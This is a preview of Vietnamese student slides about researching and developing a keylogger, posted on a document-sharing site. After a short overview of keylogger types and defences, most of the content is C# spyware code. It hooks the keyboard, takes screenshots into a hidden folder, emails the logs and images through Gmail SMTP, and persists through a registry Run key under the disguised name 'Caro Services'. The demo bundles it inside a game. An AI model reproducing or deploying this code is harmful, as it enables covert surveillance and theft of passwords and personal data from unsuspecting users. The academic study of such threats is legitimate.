NGHIÊN cứu và PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER

38 4 0
NGHIÊN cứu và PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

BÁO CÁO ĐỒ ÁN KEYLOGGER LOGO Sinh viên thực  2033181026 – Nguyễn Đức Hùng  2033180108 – Hoàng Hữu Ngọc Điệp LOGO Nội dung I Tìm hiểu Keylogger II Các kỹ thuật qua mặt Anti-Virus III Chương trình Keylogger IV Demo chương trình Keylogger LOGO I.Tìm hiểu Keylogger LOGO 1.1 Lịch sử 1.2 Khái niệm 1.5 Keylogger mối đe dọa 1.7 Cách phòng tránh 1.3 Phân loại 1.4 Cách hoạt động 1.6 Cách thức lan truyền 1.1 Lịch sử Keylogger LOGO  Ra đời vào đầu khoảng 1970 – 1980  Với nhiều mục đích sử dụng khác  Vào năm 1990, bùng nổ việc tạo sử dụng Keylogger thương mại tăng lên, với đủ loại sản phẩm tung thị trường  Keylogger lịch sử nhắm mục tiêu đến người dùng gia đình để lừa đảo, keylogging nhà nước bảo trợ ngành đại vấn đề nghiêm trọng 1.2 Khái niệm Keylogger LOGO  Keylogger chương trình máy tính viết dùng để theo dõi, ghi lại liệu bàn phím thao tác lưu vào tập tin (log) người cài đặt sử dụng  Do chức mang tính vi phạm vào riêng tư người khác nên chương trình Keylogger xếp vào nhóm phần mềm gián điệp  Sau này, Keylogger phát triển cao hơn, khơng ghi lại thao tác bàn phím, mà cịn ghi lại tất hình ảnh thị hình Bằng cách chụp (screen-shot), quay video (screen-capture), ghi lại q trình trỏ chuột máy tính di chuyển 1.3 Phân loại Keylogger LOGO Năm loại keylogger phổ biến bao gồm: 1.3.1 Keylogger dựa API  Là phổ biến nhất, sử dụng API bàn phím để ghi lại lần gõ phím Các ghi sau lưu tập tin ổ cứng hệ thống để hacker dễ dàng truy xuất 1.3.2 Keylogger dựa việc thu thập biểu mẫu  Keylogger dựa biểu mẫu ghi lại liệu từ biểu mẫu web bạn gửi Thơng tin bao gồm tên đầy đủ, địa chỉ, số điện thoại email, thông tin đăng nhập thơng tin thẻ tín dụng 1.3.3 Keylogger dựa nhân  Keylogger dựa hạt nhân ức chế lõi hệ điều hành máy tính, khiến khó phát hiện, xóa ẩn bên hệ điều hành Ghi lại lần gõ phím Phân loại Keylogger LOGO 1.3.4 Keylogger phần cứng  Là thiết bị sử dụng mạch điện bên bàn phím để ghi lại lần gõ phím Được tích hợp sẵn bàn phím, dạng đầu nối USB thẻ Mini-PCI Tất ghi lưu nhớ thiết bị Tin tặc phải có quyền truy cập vật lý vào bàn phím để lấy thơng tin 1.3.5 Acoustic Keylogger  Các phím bấm acoustic phức tạp, sử dụng Chúng sử dụng nguyên tắc phân tích mật mã âm để ghi lại lần gõ phím cấp độ phần cứng Mỗi phím bàn phím có chữ ký âm 1.4 Cách hoạt động Keylogger LOGO 1.4.1 Thành phần Keylogger  Chương trình điều khiển  Tập tin hook  Tập tin nhật ký (log) 1.4.2 Cách thức cài đặt vào máy:  Loại bản: cài vào máy giống chương trình bình thường Sau cài xong hoạt động  Loại nguy hiểm: trực tiếp vào thẳng máy người dùng Ngồi ra, có số loại bám vào chương trình khác, sử dụng Keylogger hoạt động Cách hoạt động Keylogger LOGO 1.4.3 Cách hoạt động  Khi bấm phím bất kì, bàn phím chuyển thành tín hiệu vào CPU CPU chuyển tới hệ điều hành để dịch thành chữ số cho  Nếu hệ thống có Keylogger, khơng có hệ điều hành theo dõi mà cịn có hook file, monior program Keylogger theo dõi Ngồi cịn ghi lại hình ảnh hình thao tác chuột 3.2 Key Logger C# NET - API Methods & Hook keyboard LOGO 3.2.2 Hook keyboard  Khởi tạo giá trị mặc định private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100;  Khởi tạo delegate KeyboardProc private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);  Tạo1 biến _proc tham chiếu đến hàm HookCallback private static KeyboardProc _proc = HookCallback;  Đặt mặc định cho _hookID private static IntPtr _hookID = IntPtr.Zero; 3.2 Key Logger C# NET - API Methods & Hook keyboard  Hàm SetHook private static IntPtr SetHook(KeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) { using (ProcessModule curModule=curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } } - Từ ModuleHandle lấy ra, gọi hàm “SetWindowsHookEx” để bắt đầu thả mồi câu xuống chương trình LOGO 3.2 Key Logger C# NET - API Methods & Hook keyboard LOGO  Hàm HookCallback xử lý data có private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= && wParam == (IntPtr)WM_KEYDOWN) { int data = Marshal.ReadInt32(lParam); CheckHotKey(data); WriteLog(data); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } - Marshal.ReadInt32 giúp lấy liệu mà không ignore code mà user nhấn “data” - CheckHotKey(data) hàm kiểm tra có phải tổ hợp phím để open console WriteLog (data) hàm ghi lại log 3.2 Key Logger C# NET - API Methods & Hook keyboard  Hàm ghi lại log private static string logName = "Log_"; private static string logExtendtion = ".txt"; static void WriteLog(int data) { Console.WriteLine((Keys)data); string Log = logName + DateTime.Now.ToLongDateString() + logExtendtion; StreamWriter sw = new StreamWriter(Log, true); sw.Write((Keys)data); sw.Close(); } LOGO 3.2 Key Logger C# NET - API Methods & Hook keyboard LOGO static void HookKeyboard() { _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); } - _hookID dùng để lấy mã process thông qua hàm SetHook(_proc)  Hàm check tổ hợp phím static bool IsHotKey = false; static IsShowing = false; static Keys FirstKey = Keys.Space; static void CheckHotKey(int data) { if ((FirstKey == Keys.LControlKey || FirstKey == Keys.RControlKey) && (Keys)data == Keys.K) 3.2 Key Logger C# NET - API Methods & Hook keyboard IsHotKey = true; if (IsHotKey) { if (!IsShowing) { DisplayWindow(); } else { HideWindow(); } IsShowing = !IsShowing; } FirstKey = (Keys)data; IsHotKey = false; } LOGO 3.3 Key Logger C# NET – Show Windows LOGO const int HIDE = 0; const int SHOW = 5; [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); - Giúp lấy hình Console [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - Giúp ẩn console dựa vào parameter (tham số) đưa vào (hWnd , nCmdShow) 3.3 Key Logger C# NET – Show Windows  Hàm ẩn cửa sổ console static void HideWindow() { IntPtr console = GetConsoleWindow(); ShowWindow(console, HIDE); }   Hàm cửa sổ console static void DisplayWindow() { IntPtr console = GetConsoleWindow(); ShowWindow(console, SHOW); } LOGO 3.4 Keylogger C# NET - Capture  Khởi tạo giá trị cần thiết static string imageName = "Image_"; static string imageExtendtion = ".png"; static int imageCount = 0; static void CaptureScreen() { //Khởi tạo bitmap đối tượng đồ họa var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); var gfxScreenshot = Graphics.FromImage(bmpScreenshot); //Chụp ảnh hình gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y,0,0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); LOGO 3.4 Keylogger C# NET - Capture LOGO string directoryImage = imageName + DateTime.Now.ToLongDateString(); if (!Directory.Exists(directoryImage)) { Directory.CreateDirectory(directoryImage); } // Lưu ảnh chụp hình vào đường dẫn định string imagePath = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + "_" + imageCount, imageExtendtion); try{ bmpScreenshot.Save(imagePath, ImageFormat.Png);} catch {} imageCount++; File.SetAttributes(directoryImage, File.GetAttributes(directoryImage) | FileAttributes.Hidden); } 3.5 Keylogger C# NET - SendMail LOGO  Khởi tạo giá trị cần thiết static int mailTime = 3000; static void SendMail() { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress("hungdiep.doan1@gmail.com"); mail.To.Add("hungdiep.doan1@gmail.com"); mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString(); mail.Body = ": \n"; string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion; if (File.Exists(logFile)) { StreamReader sr = new StreamReader(logFile); mail.Body += sr.ReadToEnd(); sr.Close(); } 3.5 Keylogger C# NET - SendMail LOGO string directoryImage = imageName + DateTime.Now.ToLongDateString(); DirectoryInfo image = new DirectoryInfo(directoryImage); foreach (FileInfo item in image.GetFiles("*.png")) { if (File.Exists(directoryImage + "\\" +item.Name)) mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); } SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("email@gmail.com", "password"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Console.WriteLine("Sent mail!"); } 3.6 Keylogger C#.NET – Open with OS LOGO static void StartWithOS() { //Đăng kí key bên registry theo đường dẫn sau //Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run   RegistryKey registryStart = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Curre ntVersion\\Run", true); registryStart.SetValue("Caro Services", Application.ExecutablePath.ToString()); registryStart.Close(); } 3.7 Keylogger C# NET - Timer  Khởi tạo giá trị static int interval = 1; static void StartTimer() { Thread thread = new Thread(() => { while (true) { Thread.Sleep(1); if (interval % captureTime == 0) CaptureScreen(); if (interval % mailTime == 0) SendMail(); interval++; } thread.IsBackground = true thread.Start(); } } LOGO IV Demo chương trình Chuẩn bị:  Chương trình game  Chương trình keylogger  Script đóng gói chương trình Tiến hành:  Cài đặt chạy chương trình  Kiểm tra tính keylogger LOGO ... tác lưu vào tập tin (log) người cài đặt sử dụng  Do chức mang tính vi phạm vào riêng tư người khác nên chương trình Keylogger xếp vào nhóm phần mềm gián điệp  Sau này, Keylogger phát triển cao... dung I Tìm hiểu Keylogger II Các kỹ thuật qua mặt Anti-Virus III Chương trình Keylogger IV Demo chương trình Keylogger LOGO I.Tìm hiểu Keylogger LOGO 1.1 Lịch sử 1.2 Khái niệm 1.5 Keylogger mối... dụng 1.3.3 Keylogger dựa nhân  Keylogger dựa hạt nhân ức chế lõi hệ điều hành máy tính, khiến khó phát hiện, xóa ẩn bên hệ điều hành Ghi lại lần gõ phím 3 Phân loại Keylogger LOGO 1.3.4 Keylogger

Ngày đăng: 24/12/2021, 21:53

Mục lục

    Sinh viên thực hiện

    1.4 Cách hoạt động Keylogger

    4. Cách hoạt động Keylogger

    1.5 Tại sao keylogger là mối đe dọa

    1.6 Cách thức lan truyền của Keylogger

    1.7 Cách phòng tránh và phát hiện Keylogger

    1.7 Cách phòng tránh và phát hiện Keylogger

    II. Các kỹ thuật qua mặt Anti-virus

    2.2 Antivirus hoạt động như thế nào ?

    2.3 Các kỹ thuật qua mặt Antivirus

Tài liệu cùng người dùng

Tài liệu liên quan